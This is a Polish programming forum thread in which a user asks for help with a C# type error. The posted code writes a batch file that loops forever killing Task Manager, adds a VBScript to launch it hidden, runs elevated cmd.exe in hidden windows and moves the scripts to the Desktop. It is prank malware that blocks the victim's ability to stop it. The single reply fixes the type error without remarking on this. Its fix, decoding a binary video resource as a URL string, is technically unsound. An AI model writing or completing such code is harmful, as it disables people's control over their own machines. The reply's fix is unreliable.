• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

CS0029 Nie można niejawnie przekonwertować typu „byte[]” na „string”.

Object Storage Arubacloud
0 głosów
1,010 wizyt
pytanie zadane 31 marca 2019 w C# przez r.mar Początkujący (470 p.)

Mam problem z automatycznym włączeniem się filmu w C#. Błąd taki jak w tytule. 

Kod: (Błąd jest na samym dole, czyli axWindowsMediaPlayer1.URL) Proszę żeby ktoś naprawił ten kod

                using (var client = new WebClient())
                {
                    client.DownloadFile("https://upload.wikimedia.org/wikipedia/commons/b/b4/Edward_Gierek_1980.jpg", "Edward_Gierek_1980.jpg");
                }

                string path = Directory.GetParent(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)).FullName;
                string pulpit = @"\Desktop";
                string movex = "move x.bat";
                string movey = "move y.vbs";
                if (Environment.OSVersion.Version.Major >= 6)
                {
                    path = Directory.GetParent(path).ToString();
                    Console.WriteLine(path);
                }

                System.Threading.Thread.Sleep(2000);

                player.URL = "computer.mp3";

                byte[] byteArray = Encoding.UTF8.GetBytes("y.vbs");
                MemoryStream stream = new MemoryStream(byteArray);

                StreamWriter File = new StreamWriter("x.bat");
                File.Write("@echo off");
                File.WriteLine(":1");
                File.WriteLine("taskkill /f /im Taskmgr.exe");
                File.WriteLine("goto :1");
                File.Close();

                StreamWriter File1 = new StreamWriter("y.vbs");
                File1.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");
                File1.WriteLine("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
                File1.WriteLine("Set WshShell = Nothing");
                File1.Close();

                var proc1 = new ProcessStartInfo();
                proc1.UseShellExecute = true;

                proc1.WorkingDirectory = @"C:\Windows\System32";

                proc1.FileName = @"C:\Windows\System32\cmd.exe";
                proc1.Verb = "runas";
                proc1.Arguments = "/c start chrome.exe";        //ZMIENIĆ NA start y.vbs
                proc1.WindowStyle = ProcessWindowStyle.Hidden;
                Process.Start(proc1);

                //moving batch
                var proc2 = new ProcessStartInfo();
                proc2.UseShellExecute = true;

                proc2.WorkingDirectory = @"C:\Windows\System32";

                proc2.FileName = @"C:\Windows\System32\cmd.exe";
                proc2.Verb = "runas";
                proc2.Arguments = (movex+path+pulpit);        
                proc2.WindowStyle = ProcessWindowStyle.Hidden;
                Process.Start(proc2);
                //textBox1.Text = proc2.Arguments;

                //moving vbs
                var proc3 = new ProcessStartInfo();
                proc3.UseShellExecute = true;

                proc3.WorkingDirectory = @"C:\Windows\System32";

                proc3.FileName = @"C:\Windows\System32\cmd.exe";
                proc3.Verb = "runas";
                proc3.Arguments = (movey+path+pulpit);
                proc3.WindowStyle = ProcessWindowStyle.Hidden;
                Process.Start(proc3);

                axWindowsMediaPlayer1.URL = Properties.Resources._1080p60__SUPERHOT_greenscreen;

 

1 odpowiedź

0 głosów
odpowiedź 4 kwietnia 2019 przez DeBos123 Nałogowiec (44,950 p.)

Treść błędu jasno mówi, że próbujesz przypisać byte[] do zmiennej typu string.

Zamień:

axWindowsMediaPlayer1.URL = Properties.Resources._1080p60__SUPERHOT_greenscreen;

na:

axWindowsMediaPlayer1.URL = System.Text.Encoding.UTF8.GetString(Properties.Resources._1080p60__SUPERHOT_greenscreen);

i powinno działać.

Podobne pytania

0 głosów
0 odpowiedzi 589 wizyt
0 głosów
2 odpowiedzi 1,245 wizyt
+1 głos
3 odpowiedzi 1,702 wizyt
pytanie zadane 5 stycznia 2021 w C# przez MateuszFisch Początkujący (250 p.)

92,572 zapytań

141,423 odpowiedzi

319,645 komentarzy

61,959 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...